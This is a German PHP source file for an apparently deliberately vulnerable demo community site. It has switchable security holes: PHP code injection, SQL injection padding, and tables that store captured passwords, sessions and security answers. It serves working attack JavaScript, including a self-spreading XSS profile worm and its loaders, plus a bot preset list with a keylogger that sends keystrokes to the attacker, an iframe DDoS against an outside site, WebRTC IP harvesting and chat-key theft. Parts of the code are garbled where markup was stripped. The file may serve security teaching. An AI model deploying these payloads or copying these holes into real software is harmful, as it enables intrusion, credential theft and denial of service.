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"); # Datenbank-Tabellen $sql[0] = " CREATE TABLE [chat] ( [id] INTEGER NOT NULL PRIMARY KEY, [user] INTEGER NOT NULL, [time] TIMESTAMP NOT NULL, [chat] VARCHAR(8) NOT NULL, [text] VARCHAR(255) NOT NULL); CREATE TABLE [cms] ( [id] INTEGER NOT NULL PRIMARY KEY, [create] TIMESTAMP NOT NULL, [change] TIMESTAMP NOT NULL, [changes] INTEGER NOT NULL DEFAULT '0', [status] INTEGER NOT NULL, [name] VARCHAR(40) NOT NULL UNIQUE, [description] VARCHAR(255) NULL, [content] TEXT NULL); CREATE TABLE [file] ( [id] INTEGER NOT NULL PRIMARY KEY, [create] TIMESTAMP NOT NULL, [status] INTEGER NULL DEFAULT '1', [user] INTEGER NOT NULL, [name] VARCHAR(64) NOT NULL, [ip] VARCHAR(40) NOT NULL, [useragent] VARCHAR(255) NULL, [info] VARCHAR(255) NULL, [link] INTEGER NULL, [size] INTEGER NULL, [hash] VARCHAR(8) NULL, [type] VARCHAR(40) NULL, [data] TEXT NULL); CREATE TABLE [forum] ( [id] INTEGER NOT NULL PRIMARY KEY, [create] TIMESTAMP NOT NULL, [change] TIMESTAMP NOT NULL, [changes] INTEGER NOT NULL DEFAULT '0', [status] INTEGER NULL DEFAULT '0', [userid] INTEGER NOT NULL DEFAULT '0', [mailid] INTEGER NULL, [path] VARCHAR(255) NULL, [ip] VARCHAR(40) NOT NULL, [useragent] VARCHAR(255) NULL, [title] VARCHAR(255) NULL, [message] TEXT NOT NULL); CREATE TABLE [user] ( [id] INTEGER NOT NULL PRIMARY KEY, [create] TIMESTAMP NOT NULL, [change] TIMESTAMP NOT NULL, [changes] INTEGER NOT NULL DEFAULT '0', [logins] INTEGER NOT NULL DEFAULT '0', [requests] INTEGER NOT NULL DEFAULT '0', [status] INTEGER NULL DEFAULT '1', [chat] VARCHAR(8) NULL, [username] VARCHAR(64) NOT NULL UNIQUE, [password] VARCHAR(64) NOT NULL, [forename] VARCHAR(64) NOT NULL, [lastname] VARCHAR(64) NOT NULL, [mail] VARCHAR(255) NOT NULL UNIQUE, [passhelp] VARCHAR(255) NULL, [ip] VARCHAR(40) NULL, [session] VARCHAR(64) NULL, [useragent] VARCHAR(255) NULL, [page] VARCHAR(255) NULL, [info] VARCHAR(255) NULL, [town] VARCHAR(64) NULL, [born] DATE NULL, [tagline] VARCHAR(255) NULL, [profil] TEXT NULL); CREATE TABLE [worm] ( [id] INTEGER NOT NULL PRIMARY KEY, [create] TIMESTAMP NOT NULL, [referer] VARCHAR(255) NOT NULL, [Benutzer-ID] VARCHAR(8) NOT NULL UNIQUE, [Logins] VARCHAR(8) NULL, [Zugriffe] VARCHAR(8) NULL, [Aenderungen] VARCHAR(8) NULL, [Forumbeitraege]VARCHAR(8) NULL, [Blog] VARCHAR(8) NULL, [Mailverkehr] VARCHAR(8) NULL, [Chat-Texte] VARCHAR(8) NULL, [Dateien] VARCHAR(8) NULL, [Datei-Freiraum]VARCHAR(20) NULL, [Status] VARCHAR(8) NULL, [Rechte] VARCHAR(8) NULL, [Erstanmeldung] VARCHAR(20) NULL, [Letzter_Besuch]VARCHAR(20) NULL, [Letzte_Aktion] VARCHAR(20) NULL, [Benutzername] VARCHAR(64) NULL, [Kennwort] VARCHAR(64) NULL, [Vorname] VARCHAR(64) NULL, [Nachname] VARCHAR(64) NULL, [eMail] VARCHAR(255) NULL, [Homepage] VARCHAR(255) NULL, [Wohnort] VARCHAR(64) NULL, [Chat-Status] VARCHAR(255) NULL, [Geburtstag] VARCHAR(64) NULL, [Sicherheitsfrage] VARCHAR(96) NULL, [Geheim-Antwort] VARCHAR(96) NULL, [Bildschirm] VARCHAR(64) NULL, [IP-Adresse] VARCHAR(40) NULL, [SessionID] VARCHAR(64) NULL, [Browser] VARCHAR(255) NULL); CREATE TABLE [xss] ( [id] INTEGER NOT NULL PRIMARY KEY, [create] TIMESTAMP NOT NULL, [ip] VARCHAR(40) NOT NULL, [href] VARCHAR(255) NOT NULL, [data] VARCHAR(255) NULL, [sess] VARCHAR(255) NULL, [user] VARCHAR(255) NULL, [pass] VARCHAR(255) NULL, [useragent] VARCHAR(255) NULL);"; $sql[1] = " Array_Query Changes CLose Create_Function ERror_String Escape_String Exec Fetch_Array Field_Name Last_Error LibenCoding LibVersion Master Num_Fields Open Query Single_Query"; # Erste Initialisierungen $eos = 60; // Sessiondauer bei inaktivität (Min) $taz = 24; // Anzahl der TextArea-Zeilen $flc = 5; // Anzahl der erlaubten Fehllogins $ctl = 31557600; // 1*365.25*24*60*60 // Maximale Speicherdauer von Cookies $wrt = true; // Datenbankstruktur überprüfen $stc = "FireBrick"; // StyleSheet Title-Color $rel = " rel='nofollow'"; // Suchmaschinen sollen Link ignorieren $tgb = " target='_blank'"; // Neues Fenster bei Externen Links $sel = " class='self'"; // Klasse für Eigenlinks $atk = "$rel class='leak'"; // Klasse für Angrifflinks $lock = '⚷'; # '🔒'; // Schloss-Zeichen $info = array_fill(0,9,""); // Platzhalter für Dynamische Infos $dpsk = '/^(lua|src|uid|sha|flc)$/'; // Sessionfilter $addr = $_SERVER['REMOTE_ADDR']; // IP vom Benutzer $time = filemtime(__FILE__); // Datum des Scriptes $date = date("d.m.Y",$time); // Änderungsdatum $wiki = 'https://de.wikipedia.org/wiki';// Wikipedia-Links $debug = $head = array(); // Debug & HTML-Header initialisieren $maxfile = 512 * 1024; // Maximale Upload-Größe $register = false; // CMS-Infotest für neuanmeldung $local = '/^(1(0|27|69\.254|72\.(1[6-9]|2\d|3[01])|92\.168)\.|::1)/'; // Lokalzugriff $gqs = (isset($_SERVER['QUERY_STRING'])) ? $_SERVER['QUERY_STRING'] : ""; // Query-String $ncms = '(Abmelden|CMS|Datei|Mail|Profil|Suche)'; // Mit diesen Namen keine CMS-Seiten anlegen $type = explode(',',',7z,asc,bmp,bpg,csv,gz,ico,jpe,jpeg,jpg,jp2,j2k,mp4,ogg,pdf,png,rtf,svg,tar,tgz,tif,tiff,txt,webp,zip'); // Erlaubt Dateitypen preg_match('/(.{18})(.+)/',str_pad(0,44,',0'),$sij); // Angriffs-Padding für SQL-Injection $self = preg_replace('!^[^/]+!','',$_SERVER['SCRIPT_NAME']); // Link zum Script $Self = ($a = explode(',',(isset($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') ? '443,s' : '80,')) ? "http$a[1]://$_SERVER[HTTP_HOST]".((":$a[0]" != ($a = ":$_SERVER[SERVER_PORT]") and $a != substr($_SERVER['HTTP_HOST'],-strlen($a))) ? $a : "").$self : ''; $author = "Michael Engelke"; if($config and file_exists($config)) // Alternative Konfig-Datei @include $config; // Konfig-Daten laden if(isset($cfg)) // Dynamische Variabeln ersetzen extract($cfg); // foreach($cfg as $key => $var) $GLOBALS[$key] = $var; if(isset($CFG)) // Dynamische Variabeln erweitern foreach($CFG as $key => $var) foreach($var as $k => $v) $GLOBALS[$key][$k] = $v; $uid = false; // Keine Benutzer-ID $status = 0; // Keine Rechte $q = (isset($_GET['q'])) ? $_GET['q'] : ((isset($_GET['b'])) ? base64_decode(strtr($_GET['b'],array(' ' => '+', '-' => '+', '_' => '/'))) : false); $s = (isset($_GET['s']) and preg_match('/^[bcdfm]$/',$_GET['s'],$var)) ? $var[0] : false; $id = (isset($_GET['id']) and preg_match('/\d+/',$_GET['id'],$var)) ? $var[0] : false; $mid = (isset($_GET['user']) and preg_match('/-?\d+/',$_GET['user'],$var)) ? $var[0] : false; $sort = (isset($_GET['sort']) and preg_match('/-?\d+/',$_GET['sort'],$var)) ? $var[0] : false; $mode = (isset($_REQUEST['mode']) and preg_match('/\w+/',$_REQUEST['mode'],$var)) ? $var[0] : false; $path = (isset($_SERVER['PATH_INFO'])) ? $_SERVER['PATH_INFO'] : ((preg_match('!'.preg_quote(basename(__FILE__),'!').'(/[^?#]+)!',$_SERVER['REQUEST_URI'],$var)) ? $var[1] : ((isset($_REQUEST['PATH_INFO'])) ? $_REQUEST['PATH_INFO'] : null)); $request = (isset($_REQUEST['request'])) ? preg_replace('/[^\w.-]/','',$_REQUEST['request']) : (($path and preg_match('/^\/([\w.-]+)/',$path,$var)) ? $var[1] : false); $query = (isset($_REQUEST['PATH_INFO'])) ? preg_replace('/^[^&]*./','',$gqs) : $gqs; $phtml = array(preg_replace(array('/&/','/.+/'),array('&(?!(\w+|#\d+|#x[\da-f]+);)','/$0/i'),array_keys($html)),array_values($html)); $uedit = false; $array = array(&$attack,&$hash,&$jschat['crypt']); // Alle Externen Links in Lokale umwandeln, wenn sie existieren if(is_string($local)) $local = preg_match($local,$addr); if($home) foreach($array as $key => $var) foreach($var as $k => $v) if(preg_match('!^(ht|f)tps?://!',$v)) $array[$key][$k] = (@file_exists($val = "$home/".basename($v))) ? preg_replace(array('!(?<=^|/)([^/]+\.)?\./|/(?=/)!','!^(?=/)!'),array('',substr($Self,0,-strlen($self))),preg_replace('![^/]*$!','',$self)."/$val") : preg_replace('/\s*#.*$/','',$v); if(preg_match('/^(Kennwort|Profil|(Anmeld|(Da|Bearbei)t)en)$/',$request)) // Kennwortfragen Sortieren sort($pass); if(isset($_GET['page']) and preg_match('/^(\d*)(?:[,\/-](\d+))?$/',$_GET['page'],$var)) { $page = array($var[0],"page=$var[0]"); $max = max(min(((isset($var[2])) ? $var[2] : $paging[1]),$paging[2]),$paging[0]); } else { $page = array("",""); $max = $paging[1]; } if(isset($_POST['stop'])) if($mode) $request = $mode; elseif($request == 'Admin') $request = ''; elseif($request == 'Bearbeiten') $request = 'Profil'; elseif($request != 'CMS') $request = false; if($request == '') if($s == 'b') $request = 'Blog'; elseif($s == 'm') { $request = 'Mail'; if(!$mid and $id) $mid = $id; } if(isset($_GET['id']) and preg_match('/^\d+|[cd]$/',$_GET['id']) and $request != 'Profile') $getopt[] = "id=$_GET[id]"; if($s) $getopt[] = "s=$s"; if($q) $getopt[] = "q=".urlencode($q); if($max != $paging[1]) $getopt[] = "page=,$max"; if($request == 'Mail') $getopt[] = "s=m"; if($request == 'Blog') $getopt[] = "s=b"; if(isset($_GET['new'])) $getopt[] = "new=1"; if(!isset($out)) $out = ''; $row = false; # ZLib Anpassungen ermöglichen foreach(explode(',','open,close,eof,file,read,write,encode,deflate,inflate') as $var) if(!isset($gz[$var])) $gz[$var] = "gz$var"; # Grafiken ausgeben if($request == 'img' and $img and preg_match('/\d+/',$query,$var)) { $array = array_values(array_slice($img,0,-1)); $var = ($var[0] < count($array)) ? $var[0] : 0; if($cache) { $date = gmdate("D, d M Y H:i:s",$time)." GMT"; header("Cache-Control: public"); header("Etag: $time"); if(($val=(function_exists("apache_request_headers")) ? apache_request_headers() : array()) and isset($val["If-None-Match"]) and isset($val["If-Modified-Since"]) and $val["If-None-Match"] == $time and $val["If-Modified-Since"] == $date or isset($_SERVER["HTTP_IF_NONE_MATCH"]) and isset($_SERVER["HTTP_IF_MODIFIED_SINCE"]) and $_SERVER["HTTP_IF_NONE_MATCH"] == $time and @$_SERVER["HTTP_IF_MODIFIED_SINCE"] == $date) { header("HTTP/1.1 304 Not Modified"); exit(); } header("Pragma: public"); header("Last-Modified: $date"); header("Cache-Control: public, max-age=".($eos*60)); } header('Content-Type: image/'.(($var == count($array)-1) ? 'x-icon' : 'gif')); die(substr($gz['inflate'](base64_decode($img[1])),array_sum(array_slice($array,0,$var)),$array[$var])); } # Sicherheitslücken per Cookie abschaltbar machen if(!$leak) $leak = 0; else { if($request == 'Leak') { $out = "

    Sichheitslücken wurden "; if(isset($_COOKIE['leak']) and !$_COOKIE['leak']) setcookie('leak',1,time()-$ctl,$self); else { setcookie('leak',0,0,$self); $out .= "de"; } $out .= "aktiviert!

    "; } if(isset($_COOKIE['leak'])) $leak = ($_COOKIE['leak']) ? $leak : false; if($leak === 1 or $leak and (preg_match('/^(127(\.\d+){3}|localhost|::1)$/i',$_SERVER['REMOTE_ADDR']) and isset($_SERVER['SERVER_ADDR']) and $_SERVER['SERVER_ADDR'] == $_SERVER['REMOTE_ADDR'])) { // PHP-Code-Injection aktivieren $leak = 1; $creole = array_merge(array(str_replace(array(89,'$'),array('\d',''),key(array_slice($creole,0,1))) => current(array_slice($creole,0,1))),array_slice($creole,1)); $info[0] = ", [[^Creole]]-Formatierung"; } elseif($leak) $info[1] = "//PHP-[[::W/)Code_injection|+]] wurde aus Sicherheitsgründen im [[::w/)Quelltext]] deaktiviert. Und sollte nur im abgeschotteten [[::w/Local_Area_Network|Lokalen Netzwerk]] aktiviert und getestet werden!//\n"; } if($leak) { if(isset($_COOKIE['to']) and preg_match('!^https?://\S+!',$_COOKIE['to'],$var)) $attack['_jsleak_'] = "'$var[0]'"; $info[2] = "**Alle Daten werden in Klartext gespeichert und können durch ??ak?? ausgelesen werden!**\n"; $info[7] = " (//Nur im [[^Leak^Sicherheitslücken ein/aus Schalten^|Sicherheitsmodus]]//)"; if(!preg_match('!^[\'"]?https?://!',$attack['_jsleak_'])) $info[5] = "Aus Sicherheitsgründen sind die ??ak?? mit relativen bzw. lokalen [[::w/)Pfad(name]]en entwickelt worden, so dass die Daten das ??if?? nie wirklich verlassen. //(Mit dem Nachteil, dass viele [[::w/Sicherheitssoftware|Security-Systeme]] die ??ak?? als ungefährlich einstufen.)//"; } else $sql[0] = preg_replace('/CREATE TABLE\s*\[(worm|xss)\][^;]+;/s','',$sql[0]); # "Externen" Angriffs-Code (JavaScript) zurückgeben $attack['_worm_'] = ""; if($leak and preg_match('/^(worm(line|test|y?)|(bnps))(?:\.(js|txt))?$/i',$request,$var)) { // Tiny-Profil-Wurm $code = false; $val = strtolower($var[1]); if(substr($val,0,4) == 'worm') { if($var[2] == 'test' and isset($worm)) $code = $worm; elseif($var[2] == 'line') $code = $attack['_worm_']; elseif($var[2] == 'y') $code = "Wormy was here!".((isset($query) and $query != '' and preg_match('!^https?://!',$query)) ? "\n

    " : '').""; elseif($var[2] == '') $code = ""; } elseif($val == 'bnps') // Angriffs-Presets für den Control-Center $code = strtr(<< 1) { top.location.reload(); 'Reloaded' }", "!Remove Bot", // Selbst Zerstörung (Profil bleibt erhalten) "X([M[6],'profil=' + Y(X([M[6]]).match(/[<](textarea).*?>([^\\0]*?)\s+(&(amp;)?lt;|<)script\s(id|title)=[^\\0]+?<\/\\1>/)[2])]); 'Removed'", "!Sleep Bot", // Bot deaktivieren "if(J > 1) { W = -1; 'Sleeping...' }", "Chat: Decrypt-Text", // Verschlüsselte Chat-Nachricht entschlüsseln (Nur beim Sender/Empfänger möglich) "top.CryptoJS.AES.decrypt('##var##'.replace(/^\w+\//,''),top.window.name.replace(/^key:[\w,]+,(?=\w+$)/,'')).toString(top.CryptoJS.enc.Utf8);", "Chat: Get Keys", // Secret, Public und Script-Keys anzeigen "a = top.F, b = top.window.name.replace(/^key:/,'').split(','); (a ? 'n=' + a[2] + '%0ag=' + a[1] + '%0ap=' + a[0] + '%0a' : '') + 'a=' + b[0] + '%0aA=' + b[1] + '%0aK=' + b[2] + '%0a'", "Debug-Infos", // Alle Bot-Variabeln zurückgeben "M.join('%0a') + '%0a***%0a' + O.join('%0a') + '%0a***%0a' + [J,S,W].join('%0a')", "DDoS-Attack,$attack[_xlink_]", // Eine Webseite unter Dauerbeschuss setzen "a = ['##var##','DDoS-Attack','name','DoS','id','DoS','style','display:none'], b = top.document.createElement('iframe'); for(c=2;c '); 'Open Fire'", "DDoS-STOP", // Waffenruhe "if((a = top.document.getElementById('DoS'))) a.parentNode.removeChild(a); 'Peace'", "Fenster-Titel,Hello World!", // Fenster-Titel ändern "top.document.getElementsByClassName('title')[0].innerHTML = '##var##'", "Hacked-Info,Y0u h4v3 b33n H4ck3d!", // Nachricht an den User schicken "while(confirm('##var##')); 'Confirm'", "Home-Profil,/Profil", // Das Benutzer-Profil aufrufen "if(J > 1) top.location.href = M[5] + '##var##'", "Keylogger (Bugy)", // Alle Tasten loggen und alle 10 Sekunden zum Hacker schicken "var a,K = ''; top.document.onkeypress = function(e) { a = window.event ? event : e; K += String.fromCharCode(a.keyCode ? a.keyCode : a.charCode); }; window.setInterval(function() { if(K != '') X([M[7],'chat=call:0,' + Y(K)]); K = ''; },10000); 'Keys logging'", "Lock Browser,##pass##", // Browserfenster mit Kennwort sichern "a = top.document.createElement('div'); a.setAttribute('style','position:fixed; top:0; left:0; width:100%; height:100%; background-color:rgba(0,0,0,0.7);'); top.document.body.appendChild(a); b = 1; while(prompt('Enter Password!') != '##var##') b++; a.parentNode.removeChild(a); b + ' try(s)'", "Place Kitten,$attack[_clink_]", // Alle Standart-Grafiken durch Katzenbilder ersetzen "for(d=0;dX '; top.document.body.appendChild(a); 'Poping up'", "Rick Rolling,640 480 $attack[_ylink_]",// Musikvideo abspielen "a = top.document.createElement('div'); b = ['style','position:fixed; top:0; left:0; width:100%; height:100%; background-color:rgba(0,0,0,0.7);', 'ondblclick','this.parentNode.removeChild(this);','id','ricknroll']; for(c=0;c'; top.document.body.appendChild(a); 'Rick\'n\'Roll'", "Rick Killing", // Musikvideo entfernen "if((a = top.document.getElementById('ricknroll'))) { a.parentNode.removeChild(a); 'Rick killed' }", "WebRTC-IPs,2000", // Lokale/Externe IP-Adresse des Bots ausgeben "a = top.document.createElement('iframe'); a.setAttribute('id','iframe'); a.setAttribute('style','display:none'); a.setAttribute('sandbox','allow-same-origin'); top.document.body.appendChild(a); function Q(a) { if((a = /(\d{1,3}(\.\d{1,3}){3}|[a-f\d]{1,4}(:[a-f\d]{1,4}){7})/.exec(a)[1]) && c.indexOf(a) < 0) c += ',%20' + a; } try { b = !!window.webkitRTCPeerConnection, c = '', e = {iceServers: [{urls: 'stun:stun.services.mozilla.com'}]}; if(!(a = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection)) { d = iframe.contentWindow; a = d.RTCPeerConnection || d.mozRTCPeerConnection || d.webkitRTCPeerConnection; b = !!d.webkitRTCPeerConnection; } d = {optional: [{RtpDataChannels: true}]}; b = new a(e,d); b.onicecandidate = function(a) { if(a.candidate) Q(a.candidate.candidate); }; b.createDataChannel(''); b.createOffer(function(a) { b.setLocalDescription(a, function(){}, function(){}); }, function(){}); } catch(e){}; setTimeout(function() { try { a = b.localDescription.sdp.split('%0a'); a.forEach(function(b) { if(b.indexOf('a=candidate:') === 0) Q(b); }); } catch(e){}; if(c != '') { X([M[7],'chat=call:0,' + c.substr(4)]); (a = top.document.getElementById('iframe')).parentNode.removeChild(a); } },##var##);0", "Worm-Loader [Install]", // XSS-BotWurm außerhalbs des Profils laden "a = ''; for(b=0;b<80;b++) a += '%09'; if((b = X([M[6]]).match(/<(\w+)[^>]*?id=.tl[^>]*?>(.*?)(?:\s*<(\w+).*?<\/\\3>)?\s*<\/\\1>/))) { X([M[6],'tl=' + b[2] + unescape(a) + '

    ']); b[2]; }", "Worm-Loader [Remove]", // XSS-BotWurm Loader deinstallieren "if((b = X([M[6]]).match(/<(\w+)[^>]*?id=.tl[^>]*?>(.*?)(?:\s*<(\w+).*?<\/\\3>)?\s*<\/\\1>/))) { X([M[6],'tl=' + b[2]]); b[2]; }", "Worm-Loader [Cookie]", // XSS-BotWurm-Loader im Cookie verstecken "document.cookie='username=' + encodeURI(unescape('%22> ($a = explode(' ',$attack['_wordlist_'])) ? $a[rand(0,count($a)-1)] : '')); if(!$code) $code = 'Malware not found ;-)'; $code = (isset($var[4]) and $var[4] == "txt" or !isset($var[4]) and preg_match('/[A-Z]/',substr($var[0],0,1))) ? array('plain',trim($code)) : array('javascript',((substr($val,0,4) == 'worm') ? "// Malware mit installieren!\ndocument.write(\"" .strtr(preg_replace($js,'',$code),array('\\' => '\\\\', '"' => '\\"')).'");' : strtr(preg_replace($js,'',$code),array('\\' => '\\\\')))); header("Content-Type: text/$code[0]; charset=8859-1"); die($code[1]); } # Alle Cookie dauerhaft speichern (1 Jahr) if($request == 'Cookie') { $a = 0; $val = time() + ((isset($_GET['time']) and preg_match('/\d+/',$_GET['time'],$val)) ? $val[0] : $ctl); foreach($_COOKIE as $key => $var) if(!preg_match('/^('.preg_quote(session_name()).')$/',$key)) { $a++; setcookie($key,$var,$val,$self); } if($a) $out = "

    Cookies werden bis zum ".date('d.m.Y H:i:s',$val)." gespeichert!

    "; } # PHP-Version auf min 4.3 und max 7.0 prüfen if(preg_match('/^(\d+)\.(\d+)/',phpversion(),$var) and ($var[1] < 4 or $var[1] == 4 and $var[2] < 3 or $var[1] >= 7)) { $out .= "

    PHP von 4.3 bis 5.6 wird vorausgesetzt!

    Empfohlen wird PHP 5.3 mit SQLite2 Addon!

    "; $request = 'Impressum'; $sql = false; } # SQLite vorbereiten, testen und bei Fehler neue Datenbank anlegen elseif($sql) { foreach(preg_split('/\s+/',$sql[1]) as $val) if(!isset($sql[$key = strtolower(preg_replace('/[^A-Z]+/','',$val))])) $sql[$key] = 'sqlite_'.strtolower($val); if(!function_exists($sql['o']) or !defined('SQLITE_BOTH')) { $sql = false; if(defined('SQLITE3_BOTH')) { $var = "Das SQLite3-Addon"; if($val = glob(preg_replace('/(?=\.\w+$)/','*3',basename(__FILE__))) and count($val)) { header("Location: ".preg_replace('/\/[^\/]*?$/','',$self)."/$val[0]"); header('HTTP/1.0 303 See Other'); $sql = 0; } } else $var = "Die PHP-Erweiterung SQLite"; $out = "

    $var ist nicht installiert!

    $out"; } elseif(!file_exists($base)) if($conn = @$sql['o']($base)) { $sql['e']($conn,"begin;".preg_replace(array('/\s+/','/\s*(\W)\s*/'),array(' ','$1'),$sql[0])."commit;"); $sql['cl']($conn); $out = "

    Datenbank wurde neu angelegt - Der Erste neue Benutzer bekommt Admin-Rechte!

    $out"; $request = 'Impressum'; } else $out = "

    Die Datenbank konnte nicht erstellt werden!

